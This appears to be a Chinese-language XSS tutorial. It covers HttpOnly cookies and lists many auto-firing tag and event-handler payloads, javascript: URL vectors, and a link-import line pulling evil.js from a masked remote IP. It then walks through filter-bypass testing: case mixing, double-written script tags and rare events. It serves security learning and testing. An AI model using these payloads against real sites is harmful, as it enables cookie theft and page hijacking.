XSS补充知识
一、http-only
1.会话cookie中缺少HttpOnly属性会导致攻击者可以通过程序(JS脚本、Applet等)获取到用户的cookie信息,造成用户cookie信息泄露,增加攻击者的跨站脚本攻击威胁。
2.HttpOnly是微软对cookie做的扩展,该值指定cookie是否可通过客户端脚本访问。Microsoft Internet Explorer 版本 6 Service Pack 1 和更高版本支持cookie属性HttpOnly。
3.如果在Cookie中没有设置HttpOnly属性为true,可能导致Cookie被窃取。窃取的Cookie可以包含标识站点用户的敏感信息,如ASP.NET会话ID或Forms身份验证票证,攻击者可以重播窃取的Cookie,以便伪装成用户或获取敏感信息,进行跨站脚本攻击等。
4.如果在Cookie中设置HttpOnly属性为true,兼容浏览器接收到HttpOnly cookie,那么客户端通过程序(JS脚本、Applet等)将无法读取到Cookie信息,这将有助于缓解跨站点脚本威胁。
二、XSS平台
XSS平台可以辅助安全测试人员对XSS相关的漏洞危害进行深入学习,了解XSS的危害重视XSS的危害,如果要说XSS可以做哪些事情,XSS可以做js能够做的所有事情。包括但不限于:窃取Cookie、后台增删改文章、钓鱼、利用XSS漏洞进行传播、修改网页代码、网站重定向、获取用户信息(如浏览器信息,IP地址等)等。
三、一些常用的标签与属性
下面列举的标签大部分是可以自动触发js代码的,不需要用户交互。
1、script标签
<script>
标签用于定义客户端脚本,比如 JavaScript。
<script>alert(1);</script>
<script>alert("xss");</script>
2、img 标签
<img>
标签定义 HTML 页面中的图像。
<img src=1 onerror=alert(1);>
<img src=1 onerror=alert("xss");>
3、input 标签
<input>
标签规定了用户可以在其中输入数据的输入字段。
onfocus 事件在对象获得焦点时发生:
<input onfocus=alert(1);>
竞争焦点,从而触发onblur事件:
<input onblur=alert(1) autofocus><input autofocus>
input 标签的 autofocus 属性规定当页面加载时 <input>
元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
<input onfocus="alert(1);" autofocus>
4、details 标签
<details>
标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details>
元素时触发:
<details ontoggle=alert(1);>
使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发:
<details open ontoggle=alert(1);>
5、svg 标签
<svg>
标签用来在HTML页面中直接嵌入SVG 文件的代码。
<svg onload=alert(1);>
6、select 标签
<select>
标签用来创建下拉列表。
<select onfocus=alert(1)></select>
通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
<select onfocus=alert(1) autofocus>
7、iframe 标签
<iframe>
标签会创建包含另外一个文档的内联框架。
<iframe onload=alert(1);></iframe>
8、video 标签
<video>
标签定义视频,比如电影片段或其他视频流。
<video><source onerror=alert(1)>
9、audio 标签
<audio>
标签定义声音,比如音乐或其他音频流。
<audio src=x onerror=alert(1);>
10、body 标签
<body>
标签定义文档的主体。
<body onload=alert(1);>
onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发:
<body
onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
11、textarea 标签
<textarea>
标签定义一个多行的文本输入控件。
<textarea onfocus=alert(1); autofocus>
12、keygen 标签
<keygen autofocus onfocus=alert(1)> //仅限火狐
13、marquee 标签
<marquee onstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以
14、isindex 标签
<isindex type=image src=1 onerror=alert(1)>//仅限于IE
15、利用 link 远程包含 JavaScript 文件
<link>
标签定义文档与外部资源的关系。在无CSP的情况下才可以使用:
<link rel=import href="http://47.xxx.xxx.72/evil.js">
四、利用 JavaScript 伪协议
javascript:
这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。当浏览器装载了这样的URL时,并不会转向某个URL,而是执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。
1、a 标签
<a href="javascript:alert(1);">xss</a>
2、iframe 标签
<iframe src=javascript:alert(1);></iframe>
3、img 标签
<img src=x onerror=alert(1)>
<img src=javascript:alert(1)> //IE7以下
4、form 标签
<form action="Javascript:alert(1)"><input type=submit>
五、XSS测试流程思路
现实中,大多数的场所是用的黑名单来做XSS过滤器的,有三种方式绕过黑名单的测试:
1)暴力测试(输入大量的payload,看返回结果)
2)根据正则推算
3)利用浏览器bug
1、初步测试
1)尝试插入比较正常的HTML标签,例如:<a>
、<b>
、<i>
、<u>
等,来看一下返回页面的情况是怎样的,是否被HTML编码了,或者标签被过滤了。
2)尝试插入不闭合的标签,例如:<a
、<b
、i>
、u>
、<img
等,然后看一下返回响应,是否对开放的标签也有过滤。
3)然后测试几种常见的XSS向量:
<script>alert(1)</script>
<script>prompt(1)</script>
<script>confirm(1)</script>
......
看返回响应,是过滤的全部,还是只过滤了部分,是否还留下了 alert、prompt、confirm 等字符,再尝试大小写的组合:
<scRiPt>alert(1);</scrIPt>
(4)如果过滤器仅仅是把 <script>
和 </script>
标签过滤掉,那么可以用双写的方式来绕过:
<scr<script>ipt>alert(1)</scr<script>ipt>
这样当 <script>
标签被过滤掉后,剩下的组合起来刚好形成一个完整的向量。
(5)用 <a href
标签来测试,看返回响应
<a href="http://www.baidu.com">click</a>
看看 <a
标签是否被过滤,href 是否被过滤,href里的数据是否被过滤了。如果没有数据被过滤,插入javascript伪协议看看:
<a href="javascript:alert(1)">click</a>
看是否返回错误,javascript的整个协议内容是否都被过滤掉,还是只过滤了javascript字符。
继续测试事件触发执行javascript:
<a href=x onmouseover=alert(1)>ClickHere</a>
看onmouseover事件是否被过滤。
测试一个无效的事件,看看他的过滤规则:
<a href=x onclimbatree=alert(1)>ClickHere</a>
是完整的返回了呢,还是跟onmouseover一样被干掉了。如果是完整的返回的话,那么就意味着,做了事件的黑名单,但是在HTML5中,有超过150种的方式来执行javascript代码的事件,我们可以选用别的事件。测试一个很少见的事件:
<body onhashchange=alert(1)><a href=#>click</a>
onhashchange 事件在当前 URL 的锚部分(以 '#' 号为开始) 发生改变时触发 。
2、测试其他标签和属性
HTML的标签和属性太多了,上文中已经列出了很多了。
六、XSS 攻击面拓展
1、通过XSS盗取cookie
....后续补充
2、Flash 弹窗钓鱼
.....其实是没看完~
附录
https://xz.aliyun.com/t/9606